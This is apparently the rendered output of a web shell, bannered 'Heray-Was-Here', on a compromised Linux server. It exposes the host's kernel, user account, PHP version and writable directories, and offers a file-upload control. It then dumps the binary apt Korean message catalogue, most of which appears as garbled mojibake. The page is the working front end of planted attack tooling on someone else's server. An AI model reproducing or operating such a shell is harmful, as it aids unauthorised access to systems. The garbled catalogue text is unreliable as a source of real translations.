Heray-Was-Here
Server : nginx/1.30.2
System : Linux elegant-dhawan.198-71-59-75.plesk.page 5.15.0-105-generic #115-Ubuntu SMP Mon Apr 15 09:52:04 UTC 2024 x86_64
User : realtyna_guys ( 10000)
PHP Version : 8.2.31
Disable Function : opcache_get_status
Directory :  /usr/share/locale/ko/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/locale/ko/LC_MESSAGES/libapt-pkg6.0.mo
๏ฟฝ๏ฟฝ๏ฟฝL
|๏ฟฝ๏ฟฝ๏ฟฝ๏ฟฝ๏ฟฝ๏ฟฝ!<C+\๏ฟฝ(๏ฟฝ๏ฟฝE๏ฟฝX$E}E๏ฟฝ?	I%\๏ฟฝ๏ฟฝ๏ฟฝ5๏ฟฝ	๏ฟฝ๏ฟฝ)?V!o๏ฟฝ}๏ฟฝ%+'Qy๏ฟฝ๏ฟฝ๏ฟฝ๏ฟฝ๏ฟฝpv๏ฟฝ#๏ฟฝY๏ฟฝ)Id{"๏ฟฝ๏ฟฝ๏ฟฝ๏ฟฝ๏ฟฝ&+ZR๏ฟฝ๏ฟฝ๏ฟฝ๏ฟฝ๏ฟฝy๏ฟฝ%๏ฟฝ๏ฟฝ
๏ฟฝ*๏ฟฝ%8Vp<๏ฟฝ๏ฟฝ*๏ฟฝ!- A>bN๏ฟฝM๏ฟฝR>j๏ฟฝ'๏ฟฝ$
C.N,}๏ฟฝ	๏ฟฝ๏ฟฝ0๏ฟฝ@ a&y
๏ฟฝ๏ฟฝ๏ฟฝ!๏ฟฝ๏ฟฝ ,"Mp๏ฟฝ
๏ฟฝ๏ฟฝ๏ฟฝ
๏ฟฝ๏ฟฝ#
 . : C )^ ๏ฟฝ $๏ฟฝ !๏ฟฝ ๏ฟฝ .๏ฟฝ 
"!'0!X!"j!-๏ฟฝ!"๏ฟฝ!*๏ฟฝ!	"."@A"*๏ฟฝ"-๏ฟฝ"&๏ฟฝ"!#,$#.Q#G๏ฟฝ#&๏ฟฝ#%๏ฟฝ#&$(<$Ke$1๏ฟฝ$#๏ฟฝ$?%4G%|%๏ฟฝ๏ฟฝ%4l&3๏ฟฝ&๏ฟฝ&:๏ฟฝ&4%'MZ'U๏ฟฝ'`๏ฟฝ'_({(?๏ฟฝ(N๏ฟฝ(&)$F)k)})!๏ฟฝ)๏ฟฝ)๏ฟฝ)๏ฟฝ)๏ฟฝ)*$*C*#`*!๏ฟฝ*๏ฟฝ*D๏ฟฝ*D+EE+@๏ฟฝ+๏ฟฝ+๏ฟฝ+*๏ฟฝ+?,(\,๏ฟฝ,<๏ฟฝ,*๏ฟฝ,I-J-	P-Z-c-๏ฟฝ-๏ฟฝ-๏ฟฝ๏ฟฝ-/%/5/T/
l/z/*๏ฟฝ/0๏ฟฝ/๏ฟฝ/*๏ฟฝ/70,M06z02๏ฟฝ0Y๏ฟฝ0n>1b๏ฟฝ1\2Pm2
๏ฟฝ29๏ฟฝ2)3003a31x3๏ฟฝ30๏ฟฝ3%๏ฟฝ3+4!44#V41z4/๏ฟฝ4๏ฟฝ๏ฟฝ47{58๏ฟฝ5&๏ฟฝ546H6\6=c6๏ฟฝ6}๏ฟฝ6'?7g7Dn7s๏ฟฝ7)'8:Q8B๏ฟฝ8-๏ฟฝ8,๏ฟฝ83*91^9,๏ฟฝ9+๏ฟฝ9)๏ฟฝ9):3=:Zq:๏ฟฝ:๏ฟฝ:!๏ฟฝ:$;๏ฟฝ=;G๏ฟฝ;%<@C<	๏ฟฝ<๏ฟฝ<3๏ฟฝ<9๏ฟฝ<3=&M=t=^๏ฟฝ=*๏ฟฝ=F>BY>'๏ฟฝ>0๏ฟฝ>T๏ฟฝ>gJ?e๏ฟฝ?c@๏ฟฝ|@=A+@AlAR}AL๏ฟฝAB=B*DBKoBA๏ฟฝB๏ฟฝB5CSC`C0wC>๏ฟฝC3๏ฟฝC-D2IDE|D3๏ฟฝD3๏ฟฝD
*E'8E$`E๏ฟฝE๏ฟฝE=๏ฟฝE&๏ฟฝEF(F9AF{F1๏ฟฝF8๏ฟฝF!GU'G}GD๏ฟฝG๏ฟฝGJ๏ฟฝGTDHJ๏ฟฝHN๏ฟฝH3IF:IN๏ฟฝIG๏ฟฝIMJ/fJ>๏ฟฝJA๏ฟฝJ7KYOK;๏ฟฝK=๏ฟฝK)#L>MLh๏ฟฝL>๏ฟฝL04MUeM=๏ฟฝM/๏ฟฝM๏ฟฝ)NG(OJpO๏ฟฝOT๏ฟฝOB0PisPZ๏ฟฝP๏ฟฝ8Q'๏ฟฝQ*๏ฟฝQVRmhR6๏ฟฝR=
S"KS(nS8๏ฟฝS%๏ฟฝS๏ฟฝS1TCT,ZT2๏ฟฝT"๏ฟฝT:๏ฟฝTFU*_UO๏ฟฝUL๏ฟฝUV'VL~V
๏ฟฝV,๏ฟฝVHW[OWB๏ฟฝW!๏ฟฝWNX@_Xh๏ฟฝX	YYY6YUY\Y๏ฟฝ๏ฟฝ๏ฟฝ๏ฟฝe๏ฟฝsm๏ฟฝ๏ฟฝ๏ฟฝN
7B@i๏ฟฝ_๏ฟฝ๏ฟฝa|]๏ฟฝy{๏ฟฝFP)%lJ๏ฟฝ[M๏ฟฝ1๏ฟฝ4OAC๏ฟฝq๏ฟฝS๏ฟฝ๏ฟฝo๏ฟฝH";๏ฟฝ5๏ฟฝ	=๏ฟฝT}๏ฟฝ!d๏ฟฝ๏ฟฝg ~:.`Z๏ฟฝ๏ฟฝ(๏ฟฝ๏ฟฝ๏ฟฝ๏ฟฝ๏ฟฝ๏ฟฝ?U&G9๏ฟฝ๏ฟฝ๏ฟฝ^๏ฟฝ๏ฟฝr\๏ฟฝ๏ฟฝt๏ฟฝ๏ฟฝ๏ฟฝ+0<-๏ฟฝb6R,๏ฟฝwf๏ฟฝ๏ฟฝK๏ฟฝj8๏ฟฝ/๏ฟฝ๏ฟฝ๏ฟฝ๏ฟฝ๏ฟฝz๏ฟฝE๏ฟฝV๏ฟฝh3๏ฟฝ#v๏ฟฝDYcL๏ฟฝ๏ฟฝu*$๏ฟฝ2>๏ฟฝxk๏ฟฝWp๏ฟฝ๏ฟฝ'X๏ฟฝ๏ฟฝI
nQ๏ฟฝ%c%s... Done%c%s... Error!%lid %lih %limin %lis%lih %limin %lis%limin %lis%lisArchive is too shortArchives directory %s is missing.BreaksBuilding dependency treeCache has an incompatible versioning systemCalculating upgradeCan't find authentication record for: %sCan't mmap an empty fileCan't select candidate version from package %s as it has no candidateCan't select installed nor candidate version from package '%s' as it has neither of themCan't select installed version from package %s as it is not installedCan't select newest version from package '%s' as it is purely virtualCan't select versions from package '%s' as it is purely virtualCandidate versionsCommand line option %s is not booleanCompletely removed %sCompletely removing %sConfiguring %sConflicting distribution: %s (expected %s but got %s)ConflictsCopying package lists...Corrupted archiveCould not get lock %sCould not open file %sCould not open file '%s'Could not open file descriptor %dCould not open lock file %sCould not perform immediate configuration on '%s'. Please see man 5 apt.conf under APT::Immediate-Configure for details. (%d)Couldn't duplicate file descriptor %iCouldn't find any package by regex '%s'Couldn't find task '%s'Couldn't make mmap of %lu bytesDependency generationDependsDid not understand pin type %sDirectory '%s' missingDynamic MMap ran out of room. Please increase the size of APT::Cache-Start. Current value: %lu. (man 5 apt.conf)Empty package cacheEnhancesError reading archive member headerError, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages.Failed to close file %sFailed to create subprocess IPCFailed to exec compressor Failed to fetch %s  %sFailed to open StateFile %sFailed to read the archive headersFailed to readlink %sFailed to stat %sFailed to stat the cdromFailed to truncate fileFailed to write file %sFailed to write temporary StateFile %sFound %zu package indexes, %zu source indexes, %zu translation indexes and %zu signatures
Found label '%s'
GPG error: %s: %sHash Sum mismatchHash mismatch for: %sI wasn't able to locate a file for the %s package. This might mean you need to manually fix this package. (due to missing arch)IO Error saving source cacheIdentifying... Index file type '%s' is not supportedInstalled %sInstalling %sInternal error, could not locate member %sInvalid '%s' entry in Release file %sInvalid archive member headerInvalid archive signatureInvalid operation %sInvalid record in the preferences file %s, no Package headerList directory %s is missing.Malformed line %u in source list %s (type)Method %s did not start correctlyMounting CD-ROM...
No Hash entry in Release file %sNo apport report written because MaxReports is reached alreadyNo apport report written because the error message indicates a disk full errorNo apport report written because the error message indicates a dpkg I/O errorNo apport report written because the error message indicates a out of memory errorNo apport report written because the error message indicates its a followup error from a previous failure.No priority (or zero) specified for pinNo sections in Release file %sNot lockedNot using locking for nfs mounted lock file %sNot using locking for read only lock file %sNoting disappearance of %sObsoletesOption %s requires an argument.Option %s requires an integer argument, not '%s'Option %s: Configuration item specification must have an =<val>.Option '%s' is too longPackaging system '%s' is not supportedPreDependsPreparing %sPreparing for removal of %sPreparing to completely remove %sPreparing to configure %sProblem closing the file %sProblem closing the gzip file %sProblem renaming the file %s to %sProblem syncing the fileProblem unlinking the file %sRead errorReading package listsReading state informationRecommendsRegex compilation error - %sRelease '%s' for '%s' was not foundRemoving %sReplacesRetrieving file %li of %liRetrieving file %li of %li (%s remaining)Running dpkgRunning post-installation trigger %sScanning disc for index files...
Selection %s not foundSense %s is not understood, try true or false.Size mismatchSource list entries for this disc are:
Stored label: %s
Sub-process %s exited unexpectedlySub-process %s received a segmentation fault.Sub-process %s received signal %u.Sub-process %s returned an error code (%u)SuggestsSyntax error %s:%u: Block starts with no name.Syntax error %s:%u: Directives can only be done at the top levelSyntax error %s:%u: Extra junk after valueSyntax error %s:%u: Extra junk at end of fileSyntax error %s:%u: Included from hereSyntax error %s:%u: Malformed tagSyntax error %s:%u: Too many nested includesSyntax error %s:%u: Unsupported directive '%s'Syntax error %s:%u: clear directive requires an option tree as argumentTar checksum failed, archive corruptedThat is not a valid name, try again.
The list of sources could not be read.The method driver %s could not be found.The package %s needs to be reinstalled, but I can't find an archive for it.The package cache file is an incompatible versionThe package cache file is corruptedThe package lists or status file could not be parsed or opened.This APT does not support the versioning system '%s'This disc is called: 
'%s'
This installation run will require temporarily removing the essential package %s due to a Conflicts/Pre-Depends loop. This is often bad, but if you really want to do it, activate the APT::Force-LoopBreak option.This is not a valid DEB archive, missing '%s' memberType '%s' is not known on line %u in source list %sUnable to close mmapUnable to correct problems, you have held broken packages.Unable to determine a suitable packaging system typeUnable to increase size of the MMap as automatic growing is disabled by user.Unable to increase the size of the MMap as the limit of %lu bytes is already reached.Unable to locate any package files, perhaps this is not a Debian Disc or the wrong architecture?Unable to locate package %sUnable to lock directory %sUnable to lock the administration directory (%s), are you root?Unable to lock the administration directory (%s), is another process using it?Unable to parse Release file %sUnable to parse package file %s (%d)Unable to read %sUnable to stat %s.Unable to stat the mount point %sUnable to synchronize mmapUnable to write to %sUnmounting CD-ROM...
Unpacking %sUnparsable control fileUnrecognized type abbreviation: '%c'Using CD-ROM mount point %s
Version '%s' for '%s' was not foundWaited for %s but it wasn't thereWaiting for disc...
Wow, you exceeded the number of dependencies this APT is capable of.Wow, you exceeded the number of descriptions this APT is capable of.Wow, you exceeded the number of package names this APT is capable of.Wow, you exceeded the number of versions this APT is capable of.Write errorWriting new source list
Wrote %i records with %i mismatched files
Wrote %i records with %i missing files and %i mismatched files
Wrote %i records with %i missing files.
Wrote %i records.
You may want to run apt-get update to correct these problemsdependency problems - leaving unconfigureddpkg was interrupted, you must manually run '%s' to correct the problem. extraimportantoptionalrename failed, %s (%s -> %s).requiredstandardProject-Id-Version: apt 1.0.5
Report-Msgid-Bugs-To: APT Development Team <deity@lists.debian.org>
PO-Revision-Date: 2010-08-30 02:31+0900
Last-Translator: Changwoo Ryu <cwryu@debian.org>
Language-Team: Korean <debian-l10n-korean@lists.debian.org>
Language: ko
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=1; plural=0;
%c%s... ์™„๋ฃŒ%c%s... ์˜ค๋ฅ˜!%li์ผ %li์‹œ๊ฐ„ %li๋ถ„ %li์ดˆ%li์‹œ๊ฐ„ %li๋ถ„ %li์ดˆ%li๋ถ„ %li์ดˆ%li์ดˆ์•„์นด์ด๋ธŒ ๊ธธ์ด๊ฐ€ ๋„ˆ๋ฌด ์งง์Šต๋‹ˆ๋‹ค์•„์นด์ด๋ธŒ ๋””๋ ‰ํ„ฐ๋ฆฌ %s์ด ๋น ์กŒ์Šต๋‹ˆ๋‹ค.๋ง๊ฐ€๋œจ๋ฆผ์˜์กด์„ฑ ํŠธ๋ฆฌ๋ฅผ ๋งŒ๋“œ๋Š” ์ค‘์ž…๋‹ˆ๋‹ค์บ์‹œ์˜ ๋ฒ„์ „ ์‹œ์Šคํ…œ์ด ํ˜ธํ™˜๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค์—…๊ทธ๋ ˆ์ด๋“œ๋ฅผ ๊ณ„์‚ฐํ•˜๋Š” ์ค‘์ž…๋‹ˆ๋‹ค๋‹ค์Œ์˜ ์ธ์ฆ ๊ธฐ๋ก์„ ์ฐพ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค: %s๋นˆ ํŒŒ์ผ์— ๋ฉ”๋ชจ๋ฆฌ ๋งคํ•‘ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค'%s' ํŒจํ‚ค์ง€์—์„œ ํ›„๋ณด ๋ฒ„์ „์„ ์„ ํƒํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ํ›„๋ณด๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค.'%s' ํŒจํ‚ค์ง€์—์„œ ์„ค์น˜ํ•œ ๋ฒ„์ „์ด๋‚˜ ํ›„๋ณด ๋ฒ„์ „์„ ์„ ํƒํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ๋‘˜ ๋‹ค ์•„๋‹™๋‹ˆ๋‹ค.'%s' ํŒจํ‚ค์ง€์—์„œ ์„ค์น˜ํ•œ ๋ฒ„์ „์„ ์„ ํƒํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ์„ค์น˜ํ•˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค.'%s' ํŒจํ‚ค์ง€์—์„œ ์ตœ์‹  ๋ฒ„์ „์„ ์„ ํƒํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ๊ฐ€์ƒ ํŒจํ‚ค์ง€์ž…๋‹ˆ๋‹ค.'%s' ํŒจํ‚ค์ง€๋Š” ๊ฐ€์ƒ ํŒจํ‚ค์ง€์ด๋ฏ€๋กœ ๋ฒ„์ „์„ ์„ ํƒํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹คํ›„๋ณด ๋ฒ„์ „๋ช…๋ นํ–‰ ์˜ต์…˜ '%s' ์˜ต์…˜์€ ๋ถˆ๋ฆฌ์–ธ์ด ์•„๋‹™๋‹ˆ๋‹ค%s ํŒจํ‚ค์ง€๋ฅผ ์™„์ „ํžˆ ์ง€์› ์Šต๋‹ˆ๋‹ค%s ํŒจํ‚ค์ง€๋ฅผ ์™„์ „ํžˆ ์ง€์šฐ๋Š” ์ค‘์ž…๋‹ˆ๋‹ค%s ์„ค์ • ์ค‘์ž…๋‹ˆ๋‹ค๋ฐฐํฌํŒ ์ถฉ๋Œ: %s (์˜ˆ์ƒ๊ฐ’ %s, ์‹ค์ œ๊ฐ’ %s)์ถฉ๋ŒํŒจํ‚ค์ง€ ๋ชฉ๋ก์„ ๋ณต์‚ฌํ•˜๋Š” ์ค‘์ž…๋‹ˆ๋‹ค...์•„์นด์ด๋ธŒ๊ฐ€ ์†์ƒ๋˜์—ˆ์Šต๋‹ˆ๋‹ค%s ์ž ๊ธˆ ํŒŒ์ผ์„ ์–ป์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค%s ํŒŒ์ผ์„ ์—ด ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค'%s' ํŒŒ์ผ์„ ์—ด ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค%d ํŒŒ์ผ ๋””์Šคํฌ๋ฆฝํ„ฐ๋ฅผ ์—ด ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค์ž ๊ธˆ ํŒŒ์ผ %s ํŒŒ์ผ์„ ์—ด ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค'%s'์— ๋Œ€ํ•ด ์ฆ‰์‹œ ์„ค์ •์„ ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ์„ค๋ช…์€ man 5 apt.conf ํŽ˜์ด์ง€์—์„œ APT::Immediate-Configure ํ•ญ๋ชฉ์„ ๋ณด์‹ญ์‹œ์˜ค. (%d)%i ํŒŒ์ผ ๋””์Šคํฌ๋ฆฝํ„ฐ๋ฅผ ๋ณต์‚ฌํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค'%s' ์ •๊ทœ์‹์— ํ•ด๋‹นํ•˜๋Š” ํŒจํ‚ค์ง€๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค'%s' ์ž‘์—…์„ ์ฐพ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค%lu๋ฐ”์ดํŠธ๋ฅผ ๋ฉ”๋ชจ๋ฆฌ ๋งคํ•‘ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค์˜์กด์„ฑ ๋งŒ๋“ค๊ธฐ์˜์กดํ•€ ํƒ€์ž… %s์ด(๊ฐ€) ๋ฌด์—‡์ธ์ง€ ์ดํ•ดํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค๋””๋ ‰ํ„ฐ๋ฆฌ '%s' ์—†์Šต๋‹ˆ๋‹ค.๋™์  mmap์ด ํ•œ๊ณ„๋ฅผ ๋ฒ—์–ด๋‚ฌ์Šต๋‹ˆ๋‹ค. APT::Cache-Start์˜ ํฌ๊ธฐ๋ฅผ ๋†’์ด์‹ญ์‹œ์˜ค. ํ˜„์žฌ ๊ฐ’: %lu. (man 5 apt.conf)ํŒจํ‚ค์ง€ ์บ์‹œ๊ฐ€ ๋น„์–ด ์žˆ์Šต๋‹ˆ๋‹คํ–ฅ์ƒ์•„์นด์ด๋ธŒ ๋ฉค๋ฒ„ ํ—ค๋”๋ฅผ ์ฝ๋Š”๋ฐ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ–ˆ์Šต๋‹ˆ๋‹ค์˜ค๋ฅ˜, pkgProblemResolver::Resolve๊ฐ€ ๋ง๊ฐ€์กŒ์Šต๋‹ˆ๋‹ค. ๊ณ ์ • ํŒจํ‚ค์ง€๋•Œ๋ฌธ์— ๋ฐœ์ƒํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.%s ํŒŒ์ผ์„ ๋‹ซ๋Š”๋ฐ ์‹คํŒจํ–ˆ์Šต๋‹ˆ๋‹คํ•˜์œ„ ํ”„๋กœ์„ธ์Šค IPC๋ฅผ ๋งŒ๋“œ๋Š”๋ฐ ์‹คํŒจํ–ˆ์Šต๋‹ˆ๋‹ค๋‹ค์Œ ์••์ถ• ํ”„๋กœ๊ทธ๋žจ์„ ์‹คํ–‰ํ•˜๋Š”๋ฐ ์‹คํŒจํ–ˆ์Šต๋‹ˆ๋‹ค: %s ํŒŒ์ผ์„ ๋ฐ›๋Š”๋ฐ ์‹คํŒจํ–ˆ์Šต๋‹ˆ๋‹ค  %s์ƒํƒœํŒŒ์ผ %s ์—ฌ๋Š”๋ฐ ์‹คํŒจํ–ˆ์Šต๋‹ˆ๋‹ค์•„์นด์ด๋ธŒ ํ—ค๋”๋ฅผ ์ฝ๋Š”๋ฐ ์‹คํŒจํ–ˆ์Šต๋‹ˆ๋‹ค%s ํŒŒ์ผ์— readlinkํ•˜๋Š”๋ฐ ์‹คํŒจํ–ˆ์Šต๋‹ˆ๋‹ค%s์˜ ์ •๋ณด๋ฅผ ์ฝ๋Š”๋ฐ ์‹คํŒจํ–ˆ์Šต๋‹ˆ๋‹คCD-ROM์˜ ์ •๋ณด๋ฅผ ์ฝ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹คํŒŒ์ผ์„ ์ž๋ฅด๋Š”๋ฐ ์‹คํŒจํ–ˆ์Šต๋‹ˆ๋‹ค%s ํŒŒ์ผ์„ ์“ฐ๋Š”๋ฐ ์‹คํŒจํ–ˆ์Šต๋‹ˆ๋‹ค์ž„์‹œ ์ƒํƒœํŒŒ์ผ %s ์“ฐ๋Š”๋ฐ ์‹คํŒจํ–ˆ์Šต๋‹ˆ๋‹คํŒจํ‚ค์ง€ ์ƒ‰์ธ %zu๊ฐœ, ์†Œ์Šค ์ƒ‰์ธ %zu๊ฐœ, ๋ฒˆ์—ญ ์ƒ‰์ธ %zu๊ฐœ, ์„œ๋ช… %zu๊ฐœ ๋ฐœ๊ฒฌ
๋ ˆ์ด๋ธ” ๋ฐœ๊ฒฌ: %s 
GPG ์˜ค๋ฅ˜: %s: %sํ•ด์‹œ ํ•ฉ์ด ๋งž์ง€ ์•Š์Šต๋‹ˆ๋‹ค๋‹ค์Œ์˜ ํ•ด์‹œ๊ฐ€ ๋‹ค๋ฆ…๋‹ˆ๋‹ค: %s%s ํŒจํ‚ค์ง€์˜ ํŒŒ์ผ์„ ์ฐพ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ์ˆ˜๋™์œผ๋กœ ์ด ํŒจํ‚ค์ง€๋ฅผ ๊ณ ์ณ์•ผ ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. (์•„ํ‚คํ…์ณ๊ฐ€ ๋น ์กŒ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค)์†Œ์Šค ์บ์‹œ๋ฅผ ์ €์žฅํ•˜๋Š”๋ฐ ์ž…์ถœ๋ ฅ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ–ˆ์Šต๋‹ˆ๋‹ค์•Œ์•„๋ณด๋Š” ์ค‘์ž…๋‹ˆ๋‹ค... ์ธ๋ฑ์Šค ํŒŒ์ผ ํƒ€์ž… '%s' ํƒ€์ž…์€ ์ง€์›ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค%s ์„ค์น˜%s ์„ค์น˜ํ•˜๋Š” ์ค‘์ž…๋‹ˆ๋‹ค๋‚ด๋ถ€ ์˜ค๋ฅ˜, %s ๋ฉค๋ฒ„๋ฅผ ์ฐพ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹คRelease ํŒŒ์ผ %s์— '%s' ํ•ญ๋ชฉ์ด ์ž˜๋ชป๋˜์—ˆ์Šต๋‹ˆ๋‹ค์•„์นด์ด๋ธŒ ๋ฉค๋ฒ„ ํ—ค๋”๊ฐ€ ์ž˜๋ชป๋˜์—ˆ์Šต๋‹ˆ๋‹ค์•„์นด์ด๋ธŒ ์„œ๋ช…์ด ํ‹€๋ ธ์Šต๋‹ˆ๋‹ค์ž˜๋ชป๋œ ์ž‘์—… %s๊ธฐ๋ณธ ์„ค์ • ํŒŒ์ผ %s์— ์ž˜๋ชป๋œ ๋ฐ์ดํ„ฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. Package ํ—ค๋”๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค๋ชฉ๋ก ๋””๋ ‰ํ„ฐ๋ฆฌ %s์ด ๋น ์กŒ์Šต๋‹ˆ๋‹ค.์†Œ์Šค ๋ฆฌ์ŠคํŠธ %2$s์˜ %1$u๋ฒˆ ์ค„์ด ์ž˜๋ชป๋˜์—ˆ์Šต๋‹ˆ๋‹ค (ํƒ€์ž…)์„ค์น˜ ๋ฐฉ๋ฒ• %s์ด(๊ฐ€) ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์‹œ์ž‘ํ•˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹คCD-ROM ๋งˆ์šดํŠธํ•˜๋Š” ์ค‘์ž…๋‹ˆ๋‹ค...
Release ํŒŒ์ผ %s์— Hash ํ•ญ๋ชฉ์ด ์—†์Šต๋‹ˆ๋‹ค๋ณด๊ณ ์„œ๋ฅผ ์ž‘์„ฑํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด๋ฏธ MaxReports ๊ฐ’์— ๋„๋‹ฌํ–ˆ์Šต๋‹ˆ๋‹ค.๋ณด๊ณ ์„œ๋ฅผ ์ž‘์„ฑํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€์— ๋”ฐ๋ฅด๋ฉด ๋””์Šคํฌ๊ฐ€ ๊ฐ€๋“ ์ฐผ์Šต๋‹ˆ๋‹ค.๋ณด๊ณ ์„œ๋ฅผ ์ž‘์„ฑํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€์— ๋”ฐ๋ฅด๋ฉด dpkg ์ž…์ถœ๋ ฅ ์˜ค๋ฅ˜์ž…๋‹ˆ๋‹ค.๋ณด๊ณ ์„œ๋ฅผ ์ž‘์„ฑํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€์— ๋”ฐ๋ฅด๋ฉด ๋ฉ”๋ชจ๋ฆฌ๊ฐ€ ๋ถ€์กฑํ•ฉ๋‹ˆ๋‹ค.๋ณด๊ณ ์„œ๋ฅผ ์ž‘์„ฑํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€์— ๋”ฐ๋ฅด๋ฉด ์˜ˆ์ „์˜ ์‹คํŒจ ๋•Œ๋ฌธ์— ์ƒ๊ธด ๋ถ€์ˆ˜์ ์ธ ์˜ค๋ฅ˜์ž…๋‹ˆ๋‹ค.ํ•€์— ์šฐ์„ ์ˆœ์œ„(ํ˜น์€ 0)๋ฅผ ์ง€์ •ํ•˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹คRelease ํŒŒ์ผ %s์— ์„น์…˜์ด ์—†์Šต๋‹ˆ๋‹ค์ž ๊ธฐ์ง€ ์•Š์ŒNFS๋กœ ๋งˆ์šดํŠธ๋œ ์ž ๊ธˆ ํŒŒ์ผ %s์— ๋Œ€ํ•ด ์ž ๊ธˆ์„ ์‚ฌ์šฉํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค์ฝ๊ธฐ ์ „์šฉ ์ž ๊ธˆ ํŒŒ์ผ %s์— ๋Œ€ํ•ด ์ž ๊ธˆ์„ ์‚ฌ์šฉํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค%s ์‚ฌ๋ผ์ง ๋ฐœ๊ฒฌํ–ˆ์Šต๋‹ˆ๋‹ค์—†์•ฐ%s ์˜ต์…˜์—๋Š” ์ธ์ˆ˜๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.%s ์˜ต์…˜์—๋Š” ์ •์ˆ˜ ์ธ์ˆ˜๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. '%s'์ด(๊ฐ€) ์•„๋‹™๋‹ˆ๋‹ค%s ์˜ต์…˜: ์„ค์ • ํ•ญ๋ชฉ ์ง€์ •์€ =<๊ฐ’> ํ˜•ํƒœ์—ฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค.'%s' ์˜ต์…˜์ด ๋„ˆ๋ฌด ๊น๋‹ˆ๋‹ค'%s' ํŒจํ‚ค์ง€ ์‹œ์Šคํ…œ์„ ์ง€์›ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค๋ฏธ๋ฆฌ์˜์กด%s ์ค€๋น„ ์ค‘์ž…๋‹ˆ๋‹ค%s ํŒจํ‚ค์ง€๋ฅผ ์ง€์šธ ์ค€๋น„ํ•˜๋Š” ์ค‘์ž…๋‹ˆ๋‹ค%s ํŒจํ‚ค์ง€๋ฅผ ์™„์ „ํžˆ ์ง€์šธ ์ค€๋น„๋ฅผ ํ•˜๋Š” ์ค‘์ž…๋‹ˆ๋‹ค%s ํŒจํ‚ค์ง€๋ฅผ ์„ค์ •ํ•  ์ค€๋น„ํ•˜๋Š” ์ค‘์ž…๋‹ˆ๋‹ค%s ํŒŒ์ผ์„ ๋‹ซ๋Š”๋ฐ ๋ฌธ์ œ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค%s gzip ํŒŒ์ผ์„ ๋‹ซ๋Š”๋ฐ ๋ฌธ์ œ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค%s ํŒŒ์ผ์„ %s(์œผ)๋กœ ์ด๋ฆ„์„ ๋ฐ”๊พธ๋Š”๋ฐ ๋ฌธ์ œ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹คํŒŒ์ผ์„ ๋™๊ธฐํ™”ํ•˜๋Š”๋ฐ ๋ฌธ์ œ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค%s ํŒŒ์ผ์„ ์‚ญ์ œํ•˜๋Š”๋ฐ ๋ฌธ์ œ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค์ฝ๊ธฐ ์˜ค๋ฅ˜ํŒจํ‚ค์ง€ ๋ชฉ๋ก์„ ์ฝ๋Š” ์ค‘์ž…๋‹ˆ๋‹ค์ƒํƒœ ์ •๋ณด๋ฅผ ์ฝ๋Š” ์ค‘์ž…๋‹ˆ๋‹ค์ถ”์ฒœ์ •๊ทœ์‹ ์ปดํŒŒ์ผ ์˜ค๋ฅ˜ - %s%2$s ํŒจํ‚ค์ง€์˜ '%1$s' ๋ฆด๋ฆฌ์ฆˆ๋ฅผ ์ฐพ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค%s 